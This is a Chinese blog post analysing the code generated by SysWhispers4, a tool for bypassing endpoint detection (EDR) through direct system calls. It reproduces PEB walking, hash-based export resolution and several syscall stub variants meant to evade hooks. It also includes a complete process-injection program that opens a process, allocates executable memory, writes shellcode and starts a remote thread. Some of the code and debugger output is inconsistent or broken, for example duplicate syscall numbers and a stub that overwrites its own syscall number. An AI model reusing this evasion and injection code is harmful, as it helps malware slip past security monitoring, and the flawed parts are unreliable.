edr绕过工具 SysWhispers4 源码分析系列(五)
官网:http://securitytech.cc
五、SysWhispers4 生成代码结构深度分析
本文档深入剖析 SysWhispers4 生成的所有代码文件,包括头文件、C 源文件、汇编存根的完整结构,以及从用户调用到内核执行的完整流程。通过实际生成的代码示例,展示每个文件的作用和相互关系。
1. 生成文件整体结构
1.1 典型生成场景
以以下命令为例:
python syswhispers.py --preset common\--method embedded --resolve freshycalls \--prefix SW4 --out-file SW4Syscalls
生成的文件列表:
output/├── SW4Syscalls_Types.h (~15 KB)# 类型定义头文件├── SW4Syscalls.h (~8 KB)# 函数声明头文件├── SW4Syscalls.c (~50 KB)# 运行时实现源码└── SW4Syscalls.asm(~5 KB)# MASM 汇编存根
总计:~78 KB 代码
1.2 文件依赖关系图
用户代码(main.cpp)↓#include"SW4Syscalls.h"SW4Syscalls.h↓#include"SW4Syscalls_Types.h"↓声明所有 syscall 函数原型↓声明 SW4_Initialize()等初始化函数SW4Syscalls_Types.h↓#include<windows.h>↓#include<winternl.h>↓定义 NT 类型、枚举、结构体SW4Syscalls.c↓#include"SW4Syscalls.h"↓实现 SSN 解析逻辑↓实现 SW4_Initialize()↓实现各种辅助功能(ETW/AMSI/Unhook等)SW4Syscalls.asm(MSVC)↓包含所有 syscall 存根↓直接执行 syscall 指令或 SW4Syscalls_stubs.c (MinGW/Clang)↓内联汇编实现 syscall
1.3 编译链接流程
MSVC 工具链
REM 编译 C 文件cl /c /EHsc SW4Syscalls.c /FoSW4Syscalls.objREM 汇编 ASM 文件ml64 /c SW4Syscalls.asm/FoSW4Syscalls_asm.objREM 编译用户代码cl /c /EHsc main.cpp /Fomain.objREM 链接所有目标文件link main.obj SW4Syscalls.obj SW4Syscalls_asm.obj /OUT:program.exe
MinGW 工具链
# 编译所有文件g++-c -masm=intel SW4Syscalls.c -o SW4Syscalls.og++-c -masm=intel SW4Syscalls_stubs.c -o SW4Syscalls_stubs.og++-c main.cpp -o main.o# 链接g++ main.o SW4Syscalls.o SW4Syscalls_stubs.o -o program.exe
1.4 运行时内存布局
进程内存空间├─.text 段(代码段)│├─用户代码│├─ SW4Syscalls.c 编译后的代码│└─ SW4Syscalls.asm编译后的 syscall 存根│├─.data 段(数据段)│├─ SW4_SsnTable[]# SSN 表│├─ SW4_FuncHashes[]# 函数哈希表│└─其他全局变量│└─.rdata 段(只读数据)├─字符串常量└─常量表
2. syscalls.h 头文件深度分析
2.1 完整文件结构
生成的 SW4Syscalls.h 示例:
/** SW4Syscalls.h -- generated by SysWhispers4* DO NOT EDIT -- regenerate with syswhispers.py** Resolution : freshycalls* Method : embedded* Arch : x64* Compiler : msvc*/#pragma once#ifndef SW4_SYSCALLS_H#define SW4_SYSCALLS_H#include"SW4Syscalls_Types.h"#ifdef __cplusplusextern"C"{#endif/* =========================================================================* 运行时初始化* FreshyCalls -- sorts ntdll Nt* exports by VA* ========================================================================= */EXTERN_C BOOL SW4_Initialize(VOID);/* =========================================================================* syscall 函数原型* ========================================================================= */// 内存操作类 syscallEXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(HANDLE ProcessHandle,PVOID*BaseAddress,ULONG_PTR ZeroBits,PSIZE_T RegionSize,ULONG AllocationType,ULONG Protect);EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(HANDLE ProcessHandle,PVOID*BaseAddress,PSIZE_T RegionSize,ULONG FreeType);// ... 共 25 个函数#ifdef __cplusplus}#endif#endif/* SW4_SYSCALLS_H */
2.2 头文件组成分析
1. 文件头注释
/** SW4Syscalls.h -- generated by SysWhispers4* DO NOT EDIT -- regenerate with syswhispers.py** Resolution : freshycalls ← SSN 解析方法* Method : embedded ← 调用方式* Arch : x64 ← 目标架构* Compiler : msvc ← 编译器*/
作用:
- 标识自动生成,禁止手动编辑
- 记录生成配置,便于追溯
2. 保护宏
作用:
3. 依赖包含
#include"SW4Syscalls_Types.h"
作用:
- 引入类型定义
- 确保本文件中使用的类型都已定义
4. C++ 兼容性
作用:
- C++ 编译器使用 C 链接约定
- 避免名称修饰(name mangling)
- 允许 C++ 代码调用这些函数
5. 函数原型分组
生成的代码按功能分组:
// ==== 内存操作类 syscall ====EXTERN_C NTSTATUS NTAPI SW4_NtAllocateVirtualMemory(...);EXTERN_C NTSTATUS NTAPI SW4_NtFreeVirtualMemory(...);// ...// ==== 进程/线程操作类 syscall ====EXTERN_C NTSTATUS NTAPI SW4_NtCreateThreadEx(...);EXTERN_C NTSTATUS NTAPI SW4_NtOpenProcess(...);// ...// ==== 同步/通信类 syscall ====EXTERN_C NTSTATUS NTAPI SW4_NtWaitForSingleObject(...);// ...
分组优点:
- 代码组织清晰
- 易于查找特定功能的函数
- 便于理解和维护
3. syscalls.c 封装函数深度分析
3.1 完整文件结构
生成的 SW4Syscalls.c 框架:
/** SW4Syscalls.c -- generated by SysWhispers4*/#include"SW4Syscalls.h"#include<stddef.h>#include<string.h>/* =========================================================================* 常量定义* ========================================================================= */#define SW4_FUNC_COUNT 25U// 函数数量#define SW4_MAX_EXPORTS 1024U// 最大导出数// DJB2 哈希表(编译时计算)staticconst DWORD SW4_FuncHashes[SW4_FUNC_COUNT]={0x8A3B2C1D,/* NtAllocateVirtualMemory */0x5E7F8A2B,/* NtFreeVirtualMemory */// ... 更多哈希值};/* =========================================================================* 全局运行时表* ========================================================================= */DWORD SW4_SsnTable[SW4_FUNC_COUNT];// SSN 表(运行时填充)/* =========================================================================* 工具函数* ========================================================================= */// DJB2 字符串哈希static DWORD SW4_HashStr(constchar* s){DWORD h =0x1505U;while(*s){h =((h <<5)+ h)^(unsignedchar)*s++;}return h;}// 通过 PEB 获取 ntdll 基址static PVOID SW4_GetNtdllBase(VOID){#if defined(_M_X64)PPEB pPeb =(PPEB)__readgsqword(0x60);// GS:0x60 -> PEB#elif defined(_M_IX86)PPEB pPeb =(PPEB)__readfsdword(0x30);// FS:0x30 -> PEB#endifPPEB_LDR_DATA pLdr = pPeb->Ldr;PLIST_ENTRY pHead =&pLdr->InMemoryOrderModuleList;PLIST_ENTRY pEntry = pHead->Flink;// exe 模块pEntry = pEntry->Flink;// ntdll 总是第二个PLDR_DATA_TABLE_ENTRY pMod =CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);return pMod->DllBase;}// 通过哈希查找导出函数static PVOID SW4_GetProcByHash(PVOID pModule, DWORD dwHash){PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)pModule;PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);PIMAGE_EXPORT_DIRECTORY pExp =(PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModule +pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);PDWORD pFnArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);PDWORD pNmArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfNames);PWORD pOrArr =(PWORD)((PBYTE)pModule + pExp->AddressOfNameOrdinals);for(DWORD i =0; i < pExp->NumberOfNames; i++){constchar* pName =(constchar*)((PBYTE)pModule + pNmArr[i]);if(SW4_HashStr(pName)== dwHash)return(PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);}return NULL;}/* =========================================================================* FreshyCalls SSN 解析实现* ========================================================================= */static BOOL SW4_FreshyCallsResolve(PVOID pNtdll){// 1. 获取导出表PIMAGE_EXPORT_DIRECTORY pExp =...;// 2. 收集所有 Nt* 函数PVOID candidates[SW4_MAX_EXPORTS];DWORD candidateHashes[SW4_MAX_EXPORTS];DWORD count =0;for(DWORD i =0; i < pExp->NumberOfNames&& count < SW4_MAX_EXPORTS; i++){constchar* name =(constchar*)((PBYTE)pNtdll + pNmArr[i]);// 只处理 Nt 前缀的函数if(name[0]=='N'&& name[1]=='t'){candidates[count]=(PVOID)((PBYTE)pNtdll + pFnArr[pOrArr[i]]);candidateHashes[count]= SW4_HashStr(name);count++;}}// 3. 按地址排序(关键!)// Windows 内核按固定顺序排列系统调用// 排序后的索引 = SSNSW4_SortExports(candidates, candidateHashes, count);// 4. 匹配我们的函数列表并填充 SSN 表memset(SW4_SsnTable,0,sizeof(SW4_SsnTable));for(DWORD ssn =0; ssn < count; ssn++){DWORD hash = candidateHashes[ssn];// 在我们的函数列表中查找匹配的哈希for(DWORD i =0; i < SW4_FUNC_COUNT; i++){if(SW4_FuncHashes[i]== hash){SW4_SsnTable[i]= ssn;break;}}}return TRUE;}/* =========================================================================* 初始化函数* ========================================================================= */BOOL SW4_Initialize(VOID){static BOOL initialized = FALSE;if(initialized)return TRUE;// 1. 获取 ntdll 基址PVOID pNtdll = SW4_GetNtdllBase();if(!pNtdll)return FALSE;// 2. 根据配置的解析方法获取 SSN#if RESOLUTION_METHOD == FRESHYCALLSif(!SW4_FreshyCallsResolve(pNtdll))return FALSE;#elif RESOLUTION_METHOD == HELLS_GATE// Hell's Gate 实现#endifinitialized = TRUE;return TRUE;}
3.2 关键模块详解
模块 1:PEB 遍历获取 ntdll
static PVOID SW4_GetNtdllBase(VOID){#if defined(_M_X64)PPEB pPeb =(PPEB)__readgsqword(0x60);// x64: GS:0x60#elif defined(_M_IX86)PPEB pPeb =(PPEB)__readfsdword(0x30);// x86: FS:0x30#endifPPEB_LDR_DATA pLdr = pPeb->Ldr;PLIST_ENTRY pHead =&pLdr->InMemoryOrderModuleList;PLIST_ENTRY pEntry = pHead->Flink;// exe 模块pEntry = pEntry->Flink;// ntdll (第 2 个)PLDR_DATA_TABLE_ENTRY pMod =CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks);return pMod->DllBase;}
内存布局图:
PEB (GS:0x60)↓PEB_LDR_DATA↓InMemoryOrderModuleList(链表头)↓exe 模块→ ntdll 模块→ kernel32 模块→...↑我们需要的
模块 2:导出表扫描
static PVOID SW4_GetProcByHash(PVOID pModule, DWORD dwHash){PIMAGE_DOS_HEADER pDos =(PIMAGE_DOS_HEADER)pModule;PIMAGE_NT_HEADERS pNt =(PIMAGE_NT_HEADERS)((PBYTE)pModule + pDos->e_lfanew);PIMAGE_EXPORT_DIRECTORY pExp =(PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModule +pNt->OptionalHeader.DataDirectory[0].VirtualAddress);PDWORD pFnArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfFunctions);PDWORD pNmArr =(PDWORD)((PBYTE)pModule + pExp->AddressOfNames);PWORD pOrArr =(PWORD)((PBYTE)pModule + pExp->AddressOfNameOrdinals);for(DWORD i =0; i < pExp->NumberOfNames; i++){constchar* pName =(constchar*)((PBYTE)pModule + pNmArr[i]);if(SW4_HashStr(pName)== dwHash)return(PVOID)((PBYTE)pModule + pFnArr[pOrArr[i]]);}return NULL;}
模块 3:FreshyCalls 核心算法
static BOOL SW4_FreshyCallsResolve(PVOID pNtdll){// 1. 收集所有 Nt* 函数PVOID candidates[1024];DWORD hashes[1024];DWORD count =0;for(DWORD i =0; i < pExp->NumberOfNames; i++){constchar* name =(constchar*)(pModule + pNmArr[i]);if(name[0]=='N'&& name[1]=='t'){candidates[count]=(PVOID)(pNtdll + pFnArr[pOrArr[i]]);hashes[count]= SW4_HashStr(name);count++;}}// 2. 按地址排序(关键!)SW4_SortExports(candidates, hashes, count);// 3. 排序后的索引 = SSNfor(DWORD ssn =0; ssn < count; ssn++){for(DWORD i =0; i < SW4_FUNC_COUNT; i++){if(SW4_FuncHashes[i]== hashes[ssn]){SW4_SsnTable[i]= ssn;break;}}}return TRUE;}
4. syscalls.asm 汇编 stub 分析
4.1 MASM 语法格式
生成的 SW4Syscalls.asm:
; SW4Syscalls.asm-- generated bySysWhispers4; DO NOT EDIT.code;============================================================;直接 syscall 存根(Embedded模式);============================================================SW4_NtAllocateVirtualMemory PROCmov r10, rcx ; x64 调用约定:RCX → R10mov eax,18h; SSN =24(Windows10)syscall ;进入内核ret ;返回SW4_NtAllocateVirtualMemory ENDPSW4_NtCreateThreadEx PROCmov r10, rcxmov eax,0C9h; SSN =201syscallretSW4_NtCreateThreadEx ENDPSW4_NtWriteVirtualMemory PROCmov r10, rcxmov eax,3Ah; SSN =58syscallretSW4_NtWriteVirtualMemory ENDP;...共25个函数END
4.2 调用约定详解
x64 调用约定规则:
|
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
参数传递示例:
// C 语言调用NtAllocateVirtualMemory(GetCurrentProcess(),// RCX&base,// RDX0,// R8&size,// R9MEM_COMMIT,// [RSP+28h]PAGE_EXECUTE_READWRITE // [RSP+30h]);
;汇编实现mov r10, rcx ;第1参数 RCX → R10mov eax,18h; SSNsyscall ;进入内核;返回值在 RAXret
4.3 不同调用方式的 stub 对比
Embedded(直接 syscall)
SW4_NtAllocateVirtualMemory PROCmov r10, rcxmov eax,18hsyscallretSW4_NtAllocateVirtualMemory ENDP
特点:
- 最简单快速
- RIP 在我们自己的代码段
- 容易被检测(静态 syscall 指令)
Indirect(间接跳转)
EXTERN syscall_gadget:QWORDSW4_NtAllocateVirtualMemory PROCmov r10, rcxmov eax,18hjmp qword ptr [syscall_gadget];间接跳转; RIP 在 ntdll 内SW4_NtAllocateVirtualMemory ENDP
特点:
- RIP 显示在 ntdll.dll
- 绕过基于 RIP 的检测
- 需要预先查找 gadget
Randomized(随机化)
SW4_NtAllocateVirtualMemory PROCmov r10, rcxmov r11, rdx ;保存 RDXrdtsc ;获取时间戳and eax,3Fh;取模64mov rax,[gadget_pool + rax*8]call rax ;调用随机 gadgetmov rdx, r11 ;恢复 RDXretSW4_NtAllocateVirtualMemory ENDP
特点:
- 每次调用不同的 gadget
- 最强的反追踪能力
- 性能开销稍大
Egg(egg marker)
SW4_NtAllocateVirtualMemory PROCmov r10, rcx; egg marker (运行时替换为 syscall)DB 41h,42h,43h,44h,45h,46h,47h,48hretSW4_NtAllocateVirtualMemory ENDP
特点:
- 无静态 syscall 特征
- 运行时动态替换
- 需要调用 HatchEggs()
5. syscall stub 完整调用流程
5.1 从用户调用到内核执行
完整流程图:
用户代码↓#include"SW4Syscalls.h"↓SW4_Initialize()├─获取 ntdll 基址(PEB 遍历)├─扫描导出表(FreshyCalls)├─按地址排序└─填充 SSN 表↓SW4_NtAllocateVirtualMemory(...)↓SW4Syscalls.asm中的 stub├─ mov r10, rcx (参数传递)├─ mov eax,18h(设置 SSN)└─ syscall (进入内核)↓CPU 特权级转换(Ring3→Ring0)├─保存用户态上下文├─加载内核态上下文└─跳转到KiSystemCall64↓KiSystemCall64(内核 syscall 分发器)├─保存寄存器├─查 SSDT 表└─调用NtAllocateVirtualMemory内核实现↓ntoskrnl!NtAllocateVirtualMemory├─参数验证├─调用MmAllocateVirtualMemory└─返回 NTSTATUS↓用户态 stub└─ ret (返回到调用者)↓用户代码继续执行
5.2 实际案例分析
案例:进程注入
// main.cpp#include"SW4Syscalls.h"int main(){// 1. 初始化(必须)if(!SW4_Initialize()){printf("Initialization failed\n");return1;}// 2. 打开目标进程CLIENT_ID clientId ={0};clientId.UniqueProcess=(HANDLE)1234;OBJECT_ATTRIBUTES oa ={0};InitializeObjectAttributes(&oa, NULL,0, NULL, NULL);HANDLE hProcess;NTSTATUS status = SW4_NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oa,&clientId);if(!NT_SUCCESS(status)){printf("NtOpenProcess failed: 0x%08X\n", status);return1;}// 3. 分配内存PVOID base = NULL;SIZE_T size =0x1000;status = SW4_NtAllocateVirtualMemory(hProcess,&base,0,&size,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(!NT_SUCCESS(status)){printf("NtAllocateVirtualMemory failed: 0x%08X\n", status);return1;}printf("Allocated at %p\n", base);// 4. 写入 shellcodeBYTE shellcode[]="...";status = SW4_NtWriteVirtualMemory(hProcess,base,shellcode,sizeof(shellcode),NULL);// 5. 创建远程线程HANDLE hThread;status = SW4_NtCreateThreadEx(&hThread,THREAD_ALL_ACCESS,NULL,hProcess,base,NULL,FALSE,0,0,0,NULL);printf("Thread created: 0x%08X\n", status);return0;}
底层执行流程:
main()调用 SW4_Initialize()↓SW4_Initialize()执行FreshyCalls解析├─ __readgsqword(0x60)→ PEB├─遍历InMemoryOrderModuleList→ ntdll├─扫描 ntdll 导出表├─收集Nt*函数├─按地址排序└─填充 SW4_SsnTable[25]↓main()调用 SW4_NtOpenProcess()↓汇编 stub:mov r10, rcxmov eax,3Ah; SSN forNtOpenProcesssyscall ;进入内核↓内核执行NtOpenProcess↓返回到 main()↓main()调用 SW4_NtAllocateVirtualMemory()↓汇编 stub:mov r10, rcxmov eax,18h; SSN forNtAllocateVirtualMemorysyscall↓内核执行NtAllocateVirtualMemory↓...后续调用同理
5.3 调试分析技巧
WinDbg 调试 syscall
0:000> bp SW4_NtAllocateVirtualMemory0:000> gBreakpoint0 hit0:000> rrax=0000000000000000 rbx=0000000000000000rcx=00000000000004bc rdx=001234567890abcdr8=0000000000000000 r9=001234567890dcba0:000> u @rip L10SW4Syscalls!SW4_NtAllocateVirtualMemory:00007ff7`12345678 4c8bd9 mov r10,rcx00007ff7`1234567b b818000000 mov eax,18h00007ff7`12345680 0f05 syscall00007ff7`12345682 c3 ret0:000> t0:000> t0:000> r eaxeax=00000018; SSN =240:000> t ;执行 syscall0:000> r riprip=fffff800`12345678 ; 现在在内核中nt!KiSystemCall640:000> k ; 查看调用栈# Child-SP RetAddr00 ffff8a00`12345678 fffff800`12345678 nt!KiSystemCall6401 ffff8a00`1234568000007ff7`12345682 nt!NtAllocateVirtualMemory02 000000e1`2345678000007ff7`12345678 SW4Syscalls!SW4_NtAllocateVirtualMemory+0xa
总结
通过对 SysWhispers4 生成代码的深度分析,我们理解了:
文件结构
- Types.h:NT 类型定义
- .h:函数原型声明
- .c:运行时实现(SSN 解析 + 辅助功能)
- .asm:汇编 syscall 存根
关键技术点
- PEB 遍历获取 ntdll 基址
- 导出表扫描和函数查找
- FreshyCalls 按地址排序算法
- x64 调用约定和参数传递
- syscall 指令执行流程
调用流程
用户代码 → SW4_Initialize() → syscall stub → CPU 特权级转换 → 内核分发器 → NT 实现 → 返回
这套完整的代码生成机制,使得开发者可以完全控制底层系统调用,绕过现代 EDR 的用户态监控。
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-


夜雨聆风
